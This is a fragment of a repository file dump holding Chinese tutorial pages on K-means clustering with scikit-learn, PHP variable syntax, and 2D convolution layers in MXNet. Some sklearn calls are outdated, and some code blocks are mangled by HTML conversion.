13306, "license_type": "no_license", "max_line_length": 198, "num_lines": 334, "path": "/ml/k-means.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>无监督学习-K-means算法 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li><a href=\"./index.html\"> 如何学习本课程 </a></li>\n<li><a href=\"./intro.html\"> 机器学习 简介 </a></li>\n<li><a href=\"./feature-engineering.html\"> 机器学习 特征工程 </a></li>\n<li><a href=\"./feature-extraction.html\"> 机器学习 特征提取 </a></li>\n<li><a href=\"./feature-preprocessing.html\"> 机器学习 特征预处理 </a></li>\n<li><a href=\"./feature_selection.html\"> 机器学习 特征选择 </a></li>\n<li><a href=\"./feature_selection.html\"> 机器学习 特征选择 </a></li>\n<li><a href=\"./metrics.html\"> 机器学习 模型评估 </a></li>\n<li><a href=\"./dataset-split.html\"> 机器学习 数据集划分 </a></li>\n<li><a href=\"./dataset-split.html\"> 机器学习 数据集划分 </a></li>\n<li><a href=\"./knn.html\"> 机器学习算法 K近邻(KNN) </a></li>\n<li><a href=\"./nb.html\"> 机器学习算法 朴素贝叶斯 </a></li>\n<li><a href=\"./dt.html\"> 机器学习算法 决策树 </a></li>\n<li><a href=\"./rf.html\"> 机器学习算法 集成学习-随机森林 </a></li>\n<li><a href=\"./lr.html\"> 机器学习算法 线性回归 </a></li>\n<li><a href=\"./logstic.html\"> 机器学习算法 逻辑回归 </a></li>\n<li><a href=\"./ridge.html\"> 机器学习算法 岭回归 </a></li>\n<li><a href=\"./k-means.html\"> 机器学习算法 聚类-KMeans </a></li>\n<li><a href=\"./fitting.html\"> 机器学习模型 欠拟合与过拟合 </a></li>\n<li><a href=\"./save-load.html\"> 机器学习模型 保存与加载 </a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>无监督学习-K-means算法</h1>\n<h2>什么是无监督学习</h2>\n<p><strong>回忆非监督学习的特点?</strong></p>\n<p><img alt=\"人员聚类\" src=\"./images/人员聚类.png\" /></p>\n<ul>\n<li>一家广告平台需要根据相似的人口学特征和购买习惯将美国人口分成不同的小组,以便广告客户可以通过有关联的广告接触到他们的目标客户。</li>\n<li>Airbnb 需要将自己的房屋清单分组成不同的社区,以便用户能更轻松地查阅这些清单。</li>\n<li>一个数据科学团队需要降低一个大型数据集的维度的数量,以便简化建模和降低文件大小。</li>\n</ul>\n<p>我们可以怎样最有用地对其进行归纳和分组?我们可以怎样以一种压缩格式有效地表征数据?<strong>这都是无监督学习的目标,之所以称之为无监督,是因为这是从无标签的数据开始学习的。</strong></p>\n<h2>无监督学习包含算法</h2>\n<ul>\n<li>聚类</li>\n<li>K-means(K均值聚类)</li>\n<li>降维</li>\n<li>PCA</li>\n</ul>\n<h2>K-means原理</h2>\n<p>我们先来看一下一个K-means的聚类效果图</p>\n<p><img alt=\"K-means如何聚类效果\" src=\"./images/K-means如何聚类效果.png\" /></p>\n<h3>K-means聚类步骤</h3>\n<ul>\n<li>1、随机设置K个特征空间内的点作为初始的聚类中心</li>\n<li>2、对于其他每个点计算到K个中心的距离,未知的点选择最近的一个聚类中心点作为标记类别</li>\n<li>3、接着对着标记的聚类中心之后,重新计算出每个聚类的新中心点(平均值)</li>\n<li>4、如果计算得出的新中心点与原中心点一样,那么结束,否则重新进行第二步过程</li>\n</ul>\n<p>我们以一张图来解释效果</p>\n<p><img alt=\"K-means过程分析\" src=\"./images/K-means过程分析.png\" /></p>\n<p><strong> K-means API</strong></p>\n<ul>\n<li><code>sklearn.cluster.KMeans(n_clusters=8,init=‘k-means++’)</code></li>\n<li>k-means聚类</li>\n<li>n_clusters:开始的聚类中心数量</li>\n<li>init:初始化方法,默认为'k-means ++’</li>\n<li>labels_:默认标记的类型,可以和真实值比较(不是值比较)</li>\n</ul>\n<h4>练习:k-means</h4>\n<pre><code class=\"python\">%matplotlib inline\nimport numpy as np\nimport matplotlib.pyplot as plt\n#matplotlib inline\nfrom sklearn import metrics\nfrom sklearn.datasets.samples_generator import make_blobs\n# X为样本特征,Y为样本簇类别, 共1000个样本,\n# 每个样本4个特征,共4个簇,簇中心在[-1,-1], [0,0],[1,1],[2,2], 簇方差分别为[0.4, 0.2, 0.2]\nX, y = make_blobs(n_samples=1000, n_features=2,\ncenters=[[-1,-1], [0,0], [1,1], [2,2]],\ncluster_std=[0.4, 0.2, 0.2, 0.2],\nrandom_state =9)\nplt.scatter(X[:, 0], X[:, 1], marker='o')\nplt.show()\n</code></pre>\n\n<h4>练习:用Calinski-Harabasz Index评估二分类的聚类分数</h4>\n<pre><code class=\"python\">%matplotlib inline\nfrom sklearn.cluster import KMeans\ny_pred = KMeans(n_clusters=2, random_state=9).fit_predict(X)\nplt.scatter(X[:, 0], X[:, 1], c=y_pred)\nplt.show()\nprint(metrics.calinski_harabaz_score(X, y_pred))\n#Calinski-Harabasz Index对应的方法是metrics.calinski_harabaz_score\n</code></pre>\n\n<h4>练习:用Calinski-Harabasz Index评估三分类的聚类分数</h4>\n<pre><code class=\"python\">%matplotlib inline\nfrom sklearn.cluster import KMeans\ny_pred = KMeans(n_clusters=3, random_state=9).fit_predict(X)\nplt.scatter(X[:, 0], X[:, 1], c=y_pred)\nplt.show()\nprint(metrics.calinski_harabaz_score(X, y_pred))\n</code></pre>\n\n<h4>练习:用Calinski-Harabasz Index评估四分类的聚类分数</h4>\n<pre><code class=\"python\">%matplotlib inline\nfrom sklearn.cluster import KMeans\ny_pred = KMeans(n_clusters=4, random_state=9).fit_predict(X)\nplt.scatter(X[:, 0], X[:, 1], c=y_pred)\nplt.show()\nprint(metrics.calinski_harabaz_score(X, y_pred))\n\n</code></pre>\n\n<h4>练习:运用Kmeans算法实现图像压缩</h4>\n<pre><code class=\"python\">%matplotlib inline\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import pairwise_distances_argmin\nfrom sklearn.datasets import load_sample_image\nfrom sklearn.utils import shuffle\nfrom time import time\nn_colors = 64\n# 加载sklearn中样图\nchina = load_sample_image(&quot;china.jpg&quot;)\nchina = np.array(china, dtype=np.float64) / 255\n\n# 加载图像并转换成二维数字阵列\nw, h, d = original_shape = tuple(china.shape)\nassert d == 3\nimage_array = np.reshape(china, (w * h, d))\nprint(&quot;一个小样本数据拟合模型&quot;)\nt0 = time()\nimage_array_sample = shuffle(image_array, random_state=0)[:1000]\nkmeans = KMeans(n_clusters=n_colors,\nrandom_state=0).fit(image_array_sample)\nprint(&quot;完成时间 %0.3fs.&quot; % (time() - t0))\n# Get labels for all points\nprint(&quot;预测全图像上的颜色指数(k-均值)&quot;)\nt0 = time()\nlabels = kmeans.predict(image_array)\nprint(&quot;完成时间 %0.3fs.&quot; % (time() - t0))\n\ndef recreate_image(codebook, labels, w, h):\n &quot;&quot;&quot;从代码簿和标签中重新创建(压缩)图像&quot;&quot;&quot;\n d = codebook.shape[1]\n image = np.zeros((w, h, d))\n label_idx = 0\n for i in range(w):\n for j in range(h):\n image[i][j] = codebook[labels[label_idx]]\n label_idx += 1\n return image\n\n# 与原始图像一起显示所有结果\nplt.figure(1)\nplt.clf()\nax = plt.axes([0, 0, 1, 1])\nplt.axis('off')\nplt.title('Original image (96,615 colors)')\nplt.imshow(china)\nplt.figure(2)\nplt.clf()\nax = plt.axes([0, 0, 1, 1])\nplt.axis('off')\nplt.title('Quantized (64 colors, K-Means)')\nplt.imshow(recreate_image(kmeans.cluster_centers_, labels, w,h))\nplt.show()\n</code></pre>\n\n<p>分析**</p>\n<ul>\n<li>1、降维之后的数据</li>\n<li>2、k-means聚类</li>\n<li>3、聚类结果显示</li>\n</ul>\n<h2>Kmeans性能评估指标</h2>\n<h3>轮廓系数</h3>\n<p><img alt=\"轮廓系数公式\" src=\"./images/轮廓系数公式.png\" /></p>\n<blockquote>\n<p>注:对于每个点i 为已聚类数据中的样本 ,b_i 为i 到其它族群的所有样本的距离最小值,a_i 为i 到本身簇的距离平均值。最终计算出所有的样本点的轮廓系数平均值</p>\n</blockquote>\n<h3>轮廓系数值分析</h3>\n<p><img alt=\"img\" src=\"./images/轮廓系数分析.png\" /></p>\n<ul>\n<li>分析过程(我们以一个蓝1点为例)</li>\n<li>1、计算出蓝1离本身族群所有点的距离的平均值a_i</li>\n<li>2、蓝1到其它两个族群的距离计算出平均值红平均,绿平均,取最小的那个距离作为b_i</li>\n<li>根据公式:极端值考虑:如果b_i &gt;&gt;a_i: 那么公式结果趋近于1;如果a_i&gt;&gt;&gt;b_i: 那么公式结果趋近于-1</li>\n</ul>\n<h3>结论</h3>\n<p><strong>如果b_i&gt;&gt;a_i:趋近于1效果越好, b_i&lt;</strong></p>\n<p><strong>API</strong></p>\n<ul>\n<li><code>sklearn.metrics.silhouette_score(X, labels)</code></li>\n<li>计算所有样本的平均轮廓系数</li>\n<li>X:特征值</li>\n<li>labels:被聚类标记的目标值</li>\n</ul>\n<h3>用户聚类结果评估</h3>\n<pre><code class=\"python\">silhouette_score(cust, pre)\n</code></pre>\n\n<h2>K-means总结</h2>\n<ul>\n<li>特点分析:采用迭代式算法,直观易懂并且非常实用</li>\n<li>缺点:容易收敛到局部最优解(多次聚类)</li>\n</ul>\n<blockquote>\n<p>注意:聚类一般做在分类之前</p>\n</blockquote>\n<h2>作业</h2>\n<ul>\n<li>说明K-means算法原理</li>\n<li>说明K-means的性能评估标准轮廓系数</li>\n<li>说明K-means的优缺点</li>\n<li>如何去评估聚类的效果呢?</li>\n<li>instacart用户聚类</li>\n</ul>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.6030982732772827, "alphanum_fraction": 0.6137820482254028, "avg_line_length": 12.378571510314941, "blob_id": "e67d541394827e6c7ff230fbc9a70496aad67a07", "content_id": "1537961c53ed9264b1224dd7af7f93354bc6e5ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2852, "license_type": "no_license", "max_line_length": 59, "num_lines": 140, "path": "/php/variable.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# PHP 变量\n\nPHP中的变量是保存数据的内存位置的名称。 变量是用于保存临时数据的临时存储。\n\n在PHP中,使用`$`符号和变量名来声明变量。\n\n在PHP中声明变量的语法如下:\n\n```php\n$variablename = value;\n```\n\n变量可以是很短的名称(如 x 和 y)或者更具描述性的名称(如 age、carname、totalvolume)。\n\nPHP 变量规则:\n\n- 变量以 $ 符号开始,后面跟着变量的名称\n- 变量名必须以字母或者下划线字符开始\n- 变量名只能包含字母数字字符以及下划线(A-z、0-9 和 _ )\n- 变量名不能包含空格\n- 变量名是区分大小写的($y 和 $Y 是两个不同的变量)\nPHP 语句和 PHP 变量都是区分大小写的。\n\n\n## 创建(声明)PHP 变量\n\nPHP 没有声明变量的命令。\n\n变量在您第一次赋值给它的时候被创建:\n\n## PHP 是一门弱类型语言\n\n在上面的实例中,我们注意到,不必向 PHP 声明该变量的数据类型。\n\nPHP 会根据变量的值,自动把变量转换为正确的数据类型。\n\n在强类型的编程语言中,我们必须在使用变量前先声明(定义)变量的类型和名称。\n\n## PHP变量:声明字符串,整数和浮点数变量\n\n下面来看看看如何在PHP变量中声明字符串,整数和浮点值的例子。\n\n文件名:variable1.php\n\n```php\n<?php \n $str=\"hello string\"; \n $x=200; \n $y=44.6; \n echo \"string is: $str <br/>\"; \n echo \"integer is: $x <br/>\"; \n echo \"float is: $y <br/>\"; \n?>\n```\n\n```bash\nphp /share/lesson/php/variable1.php\n```\n\nURL预览:`{url}/variable1.php`\n\n## PHP变量:两个变量的总和\n\n文件名:variable2.php\n\n```php\n<?php \n $x=5; \n $y=6; \n $z=$x+$y; \n echo $z; \n?>\n```\n\n```bash\nphp /share/lesson/php/variable2.php\n```\n\nURL预览:`{url}/variable2.php`\n\n## PHP变量:区分大小写\n\n在PHP中,变量名称是区分大小写的。 因此,变量名称“`color`”不同于”`Color`“,”`COLOR`“等。\n\n文件名:variable3.php\n\n```php\n<?php \n $color=\"red\"; \n echo \"My car is \" . $color . \"<br>\"; \n echo \"My house is \" . $COLOR . \"<br>\"; \n echo \"My boat is \" . $coLOR . \"<br>\"; \n?>\n```\n\n```bash\nphp /share/lesson/php/variable3.php\n```\n\nURL预览:`{url}/variable3.php`\n\n\n\n## PHP变量:规则\n\nPHP变量必须以字母或下划线开头。PHP变量不能以数字和特殊符号开头。\n\n文件名:variablevalid.php\n\n```php\n<?php \n $a=\"hello\";//letter (valid) \n $_b=\"hello\";//underscore (valid) \n\n echo \"$a <br/> $_b\"; \n?>\n```\n\n```bash\nphp /share/lesson/php/variablevalid.php\n```\n\nURL预览:`{url}/variablevalid.php`\n\n\n\n文件名:variableinvalid.php\n\n```php\n<?php \n $2a=\"hello\";// (invalid) \n echo \"$a <br/>;\n?>\n```\n\n```bash\nphp /share/lesson/php/variableinvalid.php\n```\n\nURL预览:`{url}/variableinvalid.php" }, { "alpha_fraction": 0.599503755569458, "alphanum_fraction": 0.6286571025848389, "avg_line_length": 38.165992736816406, "blob_id": "84d6bba1b707419d2a178a583b6440df5ddee095", "content_id": "ea161df4a8261f3188567344b4c3c419dcd46fbb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 14285, "license_type": "no_license", "max_line_length": 349, "num_lines": 247, "path": "/d2l-mxnet/chapter_convolutional-neural-networks/conv-layer.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>二维卷积层 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n \n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>二维卷积层</h1>\n<p>卷积神经网络(convolutional neural network)是含有卷积层(convolutional layer)的神经网络。本章中介绍的卷积神经网络均使用最常见的二维卷积层。它有高和宽两个空间维度,常用来处理图像数据。本节中,我们将介绍简单形式的二维卷积层的工作原理。</p>\n<h2>二维互相关运算</h2>\n<p>虽然卷积层得名于卷积(convolution)运算,但我们通常在卷积层中使用更加直观的互相关(cross-correlation)运算。在二维卷积层中,一个二维输入数组和一个二维核(kernel)数组通过互相关运算输出一个二维数组。\n我们用一个具体例子来解释二维互相关运算的含义。如图5.1所示,输入是一个高和宽均为3的二维数组。我们将该数组的形状记为$3 \\times 3$或(3,3)。核数组的高和宽分别为2。该数组在卷积计算中又称卷积核或过滤器(filter)。卷积核窗口(又称卷积窗口)的形状取决于卷积核的高和宽,即$2 \\times 2$。图5.1中的阴影部分为第一个输出元素及其计算所使用的输入和核数组元素:$0\\times0+1\\times1+3\\times2+4\\times3=19$。</p>\n<p><img alt=\"二维互相关运算\" src=\"../img/correlation.svg\" /></p>\n<p>在二维互相关运算中,卷积窗口从输入数组的最左上方开始,按从左往右、从上往下的顺序,依次在输入数组上滑动。当卷积窗口滑动到某一位置时,窗口中的输入子数组与核数组按元素相乘并求和,得到输出数组中相应位置的元素。图5.1中的输出数组高和宽分别为2,其中的4个元素由二维互相关运算得出:</p>\n<p>$$\n0\\times0+1\\times1+3\\times2+4\\times3=19,\\\n1\\times0+2\\times1+4\\times2+5\\times3=25,\\\n3\\times0+4\\times1+6\\times2+7\\times3=37,\\\n4\\times0+5\\times1+7\\times2+8\\times3=43.\\\n$$</p>\n<p>下面我们将上述过程实现在<code>corr2d</code>函数里。它接受输入数组<code>X</code>与核数组<code>K</code>,并输出数组<code>Y</code>。</p>\n<p>```{.python .input}\nfrom mxnet import autograd, nd\nfrom mxnet.gluon import nn</p>\n<p>def corr2d(X, K): # 本函数已保存在d2lzh包中方便以后使用\n h, w = K.shape\n Y = nd.zeros((X.shape[0] - h + 1, X.shape[1] - w + 1))\n for i in range(Y.shape[0]):\n for j in range(Y.shape[1]):\n Y[i, j] = (X[i: i + h, j: j + w] * K).sum()\n return Y</p>\n<pre><code>\n我们可以构造图5.1中的输入数组`X`、核数组`K`来验证二维互相关运算的输出。\n\n```{.python .input}\nX = nd.array([[0, 1, 2], [3, 4, 5], [6, 7, 8]])\nK = nd.array([[0, 1], [2, 3]])\ncorr2d(X, K)\n</code></pre>\n\n<h2>二维卷积层</h2>\n<p>二维卷积层将输入和卷积核做互相关运算,并加上一个标量偏差来得到输出。卷积层的模型参数包括了卷积核和标量偏差。在训练模型的时候,通常我们先对卷积核随机初始化,然后不断迭代卷积核和偏差。</p>\n<p>下面基于<code>corr2d</code>函数来实现一个自定义的二维卷积层。在构造函数<code>__init__</code>里我们声明<code>weight</code>和<code>bias</code>这两个模型参数。前向计算函数<code>forward</code>则是直接调用<code>corr2d</code>函数再加上偏差。</p>\n<p>```{.python .input n=70}\nclass Conv2D(nn.Block):\n def <strong>init</strong>(self, kernel_size, <strong>kwargs):\n super(Conv2D, self).<strong>init</strong>(</strong>kwargs)\n self.weight = self.params.get('weight', shape=kernel_size)\n self.bias = self.params.get('bias', shape=(1,))</p>\n<pre><code>def forward(self, x):\n return corr2d(x, self.weight.data()) + self.bias.data()\n</code></pre>\n<pre><code>\n卷积窗口形状为$p \\times q$的卷积层称为$p \\times q$卷积层。同样,$p \\times q$卷积或$p \\times q$卷积核说明卷积核的高和宽分别为$p$和$q$。\n\n\n## 图像中物体边缘检测\n\n下面我们来看一个卷积层的简单应用:检测图像中物体的边缘,即找到像素变化的位置。首先我们构造一张$6\\times 8$的图像(即高和宽分别为6像素和8像素的图像)。它中间4列为黑(0),其余为白(1)。\n\n```{.python .input n=66}\nX = nd.ones((6, 8))\nX[:, 2:6] = 0\nX\n</code></pre>\n\n<p>然后我们构造一个高和宽分别为1和2的卷积核<code>K</code>。当它与输入做互相关运算时,如果横向相邻元素相同,输出为0;否则输出为非0。</p>\n<p>```{.python .input n=67}\nK = nd.array([[1, -1]])</p>\n<pre><code>\n下面将输入`X`和我们设计的卷积核`K`做互相关运算。可以看出,我们将从白到黑的边缘和从黑到白的边缘分别检测成了1和-1。其余部分的输出全是0。\n\n```{.python .input n=69}\nY = corr2d(X, K)\nY\n</code></pre>\n\n<p>由此,我们可以看出,卷积层可通过重复使用卷积核有效地表征局部空间。</p>\n<h2>通过数据学习核数组</h2>\n<p>最后我们来看一个例子,它使用物体边缘检测中的输入数据<code>X</code>和输出数据<code>Y</code>来学习我们构造的核数组<code>K</code>。我们首先构造一个卷积层,将其卷积核初始化成随机数组。接下来在每一次迭代中,我们使用平方误差来比较<code>Y</code>和卷积层的输出,然后计算梯度来更新权重。简单起见,这里的卷积层忽略了偏差。</p>\n<p>虽然我们之前构造了<code>Conv2D</code>类,但由于<code>corr2d</code>使用了对单个元素赋值(<code>[i, j]=</code>)的操作因而无法自动求梯度。下面我们使用Gluon提供的<code>Conv2D</code>类来实现这个例子。</p>\n<p>```{.python .input n=83}</p>\n<h1>构造一个输出通道数为1(将在“多输入通道和多输出通道”一节介绍通道),核数组形状是(1, 2)的二</h1>\n<h1>维卷积层</h1>\n<p>conv2d = nn.Conv2D(1, kernel_size=(1, 2))\nconv2d.initialize()</p>\n<h1>二维卷积层使用4维输入输出,格式为(样本, 通道, 高, 宽),这里批量大小(批量中的样本数)和通</h1>\n<h1>道数均为1</h1>\n<p>X = X.reshape((1, 1, 6, 8))\nY = Y.reshape((1, 1, 6, 7))</p>\n<p>for i in range(10):\n with autograd.record():\n Y_hat = conv2d(X)\n l = (Y_hat - Y) ** 2\n l.backward()\n # 简单起见,这里忽略了偏差\n conv2d.weight.data()[:] -= 3e-2 * conv2d.weight.grad()\n if (i + 1) % 2 == 0:\n print('batch %d, loss %.3f' % (i + 1, l.sum().asscalar()))</p>\n<pre><code>\n可以看到,10次迭代后误差已经降到了一个比较小的值。现在来看一下学习到的核数组。\n\n```{.python .input}\nconv2d.weight.data().reshape((1, 2))\n</code></pre>\n\n<p>可以看到,学到的核数组与我们之前定义的核数组<code>K</code>较接近。</p>\n<h2>互相关运算和卷积运算</h2>\n<p>实际上,卷积运算与互相关运算类似。为了得到卷积运算的输出,我们只需将核数组左右翻转并上下翻转,再与输入数组做互相关运算。可见,卷积运算和互相关运算虽然类似,但如果它们使用相同的核数组,对于同一个输入,输出往往并不相同。</p>\n<p>那么,你也许会好奇卷积层为何能使用互相关运算替代卷积运算。其实,在深度学习中核数组都是学出来的:卷积层无论使用互相关运算或卷积运算都不影响模型预测时的输出。为了解释这一点,假设卷积层使用互相关运算学出图5.1中的核数组。设其他条件不变,使用卷积运算学出的核数组即图5.1中的核数组按上下、左右翻转。也就是说,图5.1中的输入与学出的已翻转的核数组再做卷积运算时,依然得到图5.1中的输出。为了与大多数深度学习文献一致,如无特别说明,本书中提到的卷积运算均指互相关运算。</p>\n<h2>特征图和感受野</h2>\n<p>二维卷积层输出的二维数组可以看作输入在空间维度(宽和高)上某一级的表征,也叫特征图(feature map)。影响元素$x$的前向计算的所有可能输入区域(可能大于输入的实际尺寸)叫做$x$的感受野(receptive field)。以图5.1为例,输入中阴影部分的4个元素是输出中阴影部分元素的感受野。我们将图5.1中形状为$2 \\times 2$的输出记为$Y$,并考虑一个更深的卷积神经网络:将$Y$与另一个形状为$2 \\times 2$的核数组做互相关运算,输出单个元素$z$。那么,$z$在$Y$上的感受野包括$Y$的全部4个元素,在输入上的感受野包括其中全部9个元素。可见,我们可以通过更深的卷积神经网络使特征图中单个元素的感受野变得更加广阔,从而捕捉输入上更大尺寸的特征。</p>\n<p>我们常使用“元素”一词来描述数组或矩阵中的成员。在神经网络的术语中,这些元素也可称为“单元”。当含义明确时,本书不对这两个术语做严格区分。</p>\n<h2>小结</h2>\n<ul>\n<li>二维卷积层的核心计算是二维互相关运算。在最简单的形式下,它对二维输入数据和卷积核做互相关运算然后加上偏差。</li>\n<li>我们可以设计卷积核来检测图像中的边缘。</li>\n<li>我们可以通过数据来学习卷积核。</li>\n</ul>\n<h2>练习</h2>\n<ul>\n<li>构造一个输入图像<code>X</code>,令它有水平方向的边缘。如何设计卷积核<code>K</code>来检测图像中水平边缘?如果是对角方向的边缘呢?</li>\n<li>试着对我们自己构造的<code>Conv2D</code>类进行自动求梯度,会有什么样的错误信息?在该类的<code>forward</code>函数里,将<code>corr2d</code>函数替换成<code>nd.Convolution</code>类使得自动求梯度变得可行。</li>\n<li>如何通过变化输入和核数组将互相关运算表示成一个矩阵乘法?</li>\n<li>如何构造一个全连接层来进行物体边缘检测?</li>\n</ul>\n<h2>扫码直达<a href=\"https://discuss.gluon.ai/t/topic/6314\">讨论区</a></h2>\n<p><img alt=\"\" src=\"../img/qr_conv-layer.svg\" /></p>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax 